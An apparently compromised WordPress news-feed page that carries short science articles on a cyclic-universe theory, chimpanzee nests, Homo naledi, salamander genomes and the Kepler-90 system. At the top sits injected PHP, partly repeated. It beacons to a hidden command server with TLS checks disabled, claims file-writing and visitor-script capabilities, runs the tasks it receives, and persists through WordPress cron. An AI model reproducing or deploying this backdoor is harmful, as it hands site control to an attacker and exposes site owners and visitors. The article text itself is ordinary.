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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ours – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 19 Aug 2018 18:39:57 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ours – Brief News https://briefnews.eu 32 32 These swirls of light could be signs of a previous universe existing before ours https://briefnews.eu/these-swirls-of-light-could-be-signs-of-a-previous-universe-existing-before-ours/ https://briefnews.eu/these-swirls-of-light-could-be-signs-of-a-previous-universe-existing-before-ours/#respond Sun, 19 Aug 2018 18:39:57 +0000 http://briefnews.eu/these-swirls-of-light-could-be-signs-of-a-previous-universe-existing-before-ours/ Hawking PointsDaniel An, Krzysztof A. Meissner and Roger Penrose

  • Most cosmologists agree we live in an expanding Universe that started as a point, called a singularity, and that we don’t know what happened before it, or what could lie in our future.
  • However, a recent discovery might indicate that a universe existed before the big bang. 
  • Swirls of magnetic polarization may have been detected — which are believed to be produced by periods of inflation in the early Universe tugging on light, as well as other kinds of lensing effects.

If our Universe happened to be locked in an eternal heartbeat of expansion and collapse, black holes would leave an impression. And it could look just like a number of swirls recently detected in the faint echo of light at the edge of space.

It’s hardly the smoking gun for what’s called the conformal cyclic cosmology (CCC) model, especially given other things that could also explain these ‘scars’. But it’s definitely worthy of serious consideration.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/these-swirls-of-light-could-be-signs-of-a-previous-universe-existing-before-ours/feed/ 0 Chimpanzee beds are cleaner than ours, study finds https://briefnews.eu/chimpanzee-beds-are-cleaner-than-ours-study-finds/ https://briefnews.eu/chimpanzee-beds-are-cleaner-than-ours-study-finds/#respond Wed, 23 May 2018 11:08:53 +0000 http://briefnews.eu/chimpanzee-beds-are-cleaner-than-ours-study-finds/ Baby Chimp

Chimpanzees appear to keep tidier sleeping arrangements than humans do. That’s one finding of a recent study that evaluated the microbes and arthropods found in the treetop beds that chimpanzees make each night.

Who knew that our closest animal relatives, the great apes — specifically chimpanzees — keep tidier bedrooms than we humans do?

A group of researchers in Tanzania wanted to find out what kinds of bugs and bacteria lurk in chimps’ treetop nests, and how those compare to the ones found in our own beds.

“We know that human homes are effectively their own ecosystems,” said Megan Thoemmes, a PhD student at North Carolina State University and lead author of a study on this research.

For example, over one third of all bacteria in our beds come from our own bodies, which includes fecal, oral and skin bacteria, said Thoemmes.

Cotton swabs and a vacuum cleaner do the trick

To do their works in the tropical forests of Tanzania, the researchers waited each day for the chimps to vacate their premises.

Unlike humans, who sleep in the same bed over and over again, chimpanzees and other great apes build new nests every single night. By the morning they’re on the move again and set up camp elsewhere.

So when the coast was clear each day, the small group of researchers would climb the trees to collect their samples using cotton swabs and a handheld insect vacuum. This work went on between August 2013 and April 2014.

Megan Thoemmes is the lead author of a study examining the cleanliness of chimpanzee nests in Western Tanzania. (Megan Thoemmes)

The researchers collected swabs from 41 beds. In 15 of those beds, researchers also vacuumed the inside of the nest and the ground directly below, to collect arthropod specimens — things like insects, mites, ticks or spiders.

“We were anticipating to find quite a number of ectoparasites (fleas) within chimpanzee beds,” says Thoemmes. “But we found almost none, which was really surprising.”

Surprising indeed, given that chimps play host to more than 60 parasites. But the clean beds are probably explained — at least in part — by chimps’ great grooming skills. They pick bugs from their fur, and the fur of other chimps, then snack on them.

‘Chimps poo in the morning,’ just like us

Thoemmes and her colleagues also expected to find a large amount of microbes from the chimps’ bodies, things like bacteria from the skin, saliva and feces. But again, the researchers found almost none.

Primatologist Adriana Hernandez-Aguilar, one of the team of researchers sucking up the dirt in Tanzania, offered an explanation for the lack of fecal matter.

“Chimpanzees are very peculiar because they never defecate in the nest,” she told CBC News from Barcelona. “Like many of us, they poo in the morning.”

When nature calls, chimps display some pretty impressive toilet hygiene, handy skills that prevent them from soiling their nests.

Adriana Hernandez-Aguilar was part of a research team that swabbed leaves in chimpanzee nests for microbes. (Fiona Stewart)

“They put one part of their body a little bit outside of the nest so the feces fall on the ground,” said Hernandez-Aguilar.

Chimps beds have a vastly different biodiversity from human ones, namely in greater diversity of microbes, reflecting the environments where the nests were found, according to the research.

The research found that our closest animal relatives, the chimpanzees, sleep in nests that are less likely to have fecal, oral or skin bacteria. (Ed Mclester)

It’s the opposite for humans.

“To put it simply, we have created sleeping places in which our exposure to soil and other environmental microbes has all but disappeared,” wrote the authors.

Most of the bacteria in human homes come from our own bodies — stuff like dead skin, drool, fecal matter — and from our pets. These form a virtual smorgasbord for all those dust mites hidden in our mattresses.

‘Germophobic society’

But before replacing your bed, mattress, sheets, pillows, consider this advice from epidemiologists.

“I could definitely see how the results of this study would seem a little upsetting and gross to some people,” said Elaina MacIntyre of Public Health Ontario. “Certainly there are microorganisms that, as long as you’re healthy, there’s no reason for concern. Our bodies are complex ecosystems where we can have both ‘good’ and ‘bad’ bacteria.”

Ryerson University epidemiologist Tim Sly said “a sterile bed is probably non-existent, and to be sure … the dust mites are present more often than not.” Most of us don’t even notice them.

Unless you’re allergic to dust, that is. If that’s the case, chances are you’re also allergic to the antigens on dust mites —  the substances that produce an immune response in the microscopic creatures that dine on everyday house dust. In that case you might want to invest in mite-proof mattress and pillow covers. Changing the bedding more frequently also helps.

But Sly believes we’ve become a “steadily increasing germophobic society.”

“Losing sleep from worrying about mites in the mattress is well on the road to neurosis.”

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Enlarge (credit: Hawks et al. 2017)

Homo naledi’s brain may have been small, but it looked surprisingly similar to ours, according to a new study which suggests that structure may have come before size in the evolution of hominin brains.

Measurements of skull fragments indicate that Homo naledi’s brain was about the same size as that of an Australopithecine—the genus of primates that lived in Africa 2 to 4 million years ago and may be among our early ancestors. Yet the diminutive species was present in Africa long after the Homo lineage appeared and may have overlapped with modern humans. So how it fits in to our family tree is not clear.

A new study reveals that, despite the size, Homo naledi’s brain looked quite different from Australopithecus’ and much more like ours, at least in some very important areas.

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Enlarge / It’s so cute! Let’s chop off its leg in the name of science. It’ll grow back. (credit: IMP Vienna)

Some human tissues, like the liver and muscles, retain the ability to regrow after damage. But most of our bodies do not—if you lose a limb, the limb’s gone. But elsewhere in the animal kingdom, regeneration is much more widespread. Many reptiles can regrow tails, and some salamanders can replace entire limbs. More distantly related worms called planaria can be cut into multiple pieces and see each piece regrow an entirely new body.

There are a couple of organisms that have been extensively studied due to their ability to regenerate: the planarian Schmidtea mediterranea and a type of salamander called an axolotl (Ambystoma mexicanum). But those studies have been limited by the fact that we don’t have a complete catalog of genes for these organisms. Attempts to correct that were bogged down by the fact that the genomes appeared to be littered with duplicate copies of virus-like DNA—in the case of the axolotl, enough to balloon its genome up to 10 times the size of our own.

Now, researchers have figured out a way to overcome that hurdle, and they have gotten high-quality copies of both the planarian’s and the axolotl’s genomes. Unfortunately, the copies don’t shed much light on the animals’ regeneration abilities. And all that extra DNA carried by the axolotl doesn’t seem to be doing anything useful in particular.

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NASA has announced the discovery of the 8th exoplanet in the Kepler-90 solar system, making it the only known one with the same number of planets as ours.

Amid rumors that it would make an announcement of an extraterrestrial kind, NASA revealed Thursday that its new discovery was another planet in the system called Kepler-90i. The system surrounds the sun-like star Kepler-90, 2,545 light years from Earth.

“The Kepler-90 star system is like a mini-version of our solar system. You have small planets inside and big planets outside, but everything is scrunched in much closer,” said Andrew Vanderburg, a NASA researcher.

Kepler-90i doesn’t fall inside the habitable zone of the Kepler solar system. It’s about 30 percent larger than Earth and is so close to its star that its average surface temperature exceeds 800 degrees Fahrenheit, much like the fiery planet Mercury.

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Humans would be far more suited to Kepler-90h, the outermost planet in the system that sits at a similar distance from the Sun as Earth.

The exciting discovery was made by NASA’s Kepler telescope, which studies some 15,000 stars every minute. The data was then analysed using machine learning technology from Google.

The machine learning technique has been described by NASA as a new approach to artificial intelligence in which computers “learn” to identify planets through signals recorded by the Kepler telescope.

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“Just as we expected, there are exciting discoveries lurking in our archived Kepler data, waiting for the right tool or technology to unearth them,”said Paul Hertz, director of NASA’s Astrophysics Division in Washington. “This finding shows that our data will be a treasure trove available to innovative researchers for years to come.”

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Kepler has been discovering planets beyond our solar system since its launch in March 2009. Thanks to its “treasure trove of discoveries”NASA scientists now believe there may be “at least” one planet orbiting every star in the sky.

Since 2014, Kepler has discovered 3,400 exoplanets, including 30 Earth-sized planets orbiting within habitable zones of their stars.  

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